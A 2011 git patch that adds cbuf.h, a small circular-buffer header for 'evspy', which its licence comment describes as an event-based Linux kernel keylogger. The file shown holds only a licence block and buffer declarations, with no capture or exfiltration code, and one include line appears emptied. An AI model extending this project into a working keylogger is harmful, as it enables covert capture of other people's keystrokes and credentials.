From 28974e52f86f8873d47a899cbb2e5b122d62bfc1 Mon Sep 17 00:00:00 2001
From: Guillermo Ramos
Date: Sat, 29 Oct 2011 21:37:52 +0200
Subject: First version of cbuf.c and cbuf.h Switching to standard kfifo.h
Linux circular buffer implementation
---
cbuf.h | 36 ++++++++++++++++++++++++++++++++++++
1 file changed, 36 insertions(+)
create mode 100644 cbuf.h
(limited to 'cbuf.h')
diff --git a/cbuf.h b/cbuf.h
new file mode 100644
index 0000000..a996cee
--- /dev/null
+++ b/cbuf.h
@@ -0,0 +1,36 @@
+/*
+ * evspy - event based keylogger (Linux module)
+ *
+ * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ * based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ *
+ * This file is part of evspy
+ *
+ * evspy is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * evspy is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with evspy. If not, see .
+ */
+
+#ifndef _EVS_CBUF_H
+#define _EVS_CBUF_H
+
+
+#include
+
+#define CBUF_SIZE PAGE_SIZE // size of the circular buffer (4K)
+
+void cbuf_init(void);
+int cbuf_read(char *to, int count, int *eof);
+void cbuf_write(char c);
+
+
+#endif /* _EVS_CBUF_H */
--
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